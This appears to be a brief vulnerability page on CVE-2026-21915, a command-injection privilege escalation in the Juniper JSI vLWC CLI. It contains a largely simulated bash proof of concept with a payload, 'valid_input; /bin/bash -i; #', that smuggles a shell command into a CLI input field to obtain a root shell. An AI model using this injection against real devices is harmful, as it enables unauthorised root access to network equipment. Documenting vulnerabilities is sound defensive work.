CVE-2026-21915 Juniper JSI vLWC CLI权限提升漏洞

#!/bin/bash # PoC for CVE-2026-21915: Juniper JSI vLWC CLI Command Injection # This script demonstrates the concept of injecting a command via the vulnerable CLI menu. TARGET_IP="192.168.1.100" USER="admin" PASSWORD="password" # Connect to the CLI (Simulated) # In a real scenario, one would use expect or sshpass to interact echo "[+] Connecting to JSI vLWC CLI..." # ssh $USER@$TARGET_IP echo "[+] Navigating to vulnerable menu..." # Example command sequence to reach the input field echo "[+] Injecting malicious payload to spawn root shell..." # The payload uses a semicolon to break out of the intended command and execute /bin/sh PAYLOAD="valid_input; /bin/bash -i; #" echo "Payload: $PAYLOAD" # Sending payload to the CLI # echo $PAYLOAD echo "[+] If successful, a root shell should be obtained." # End of PoC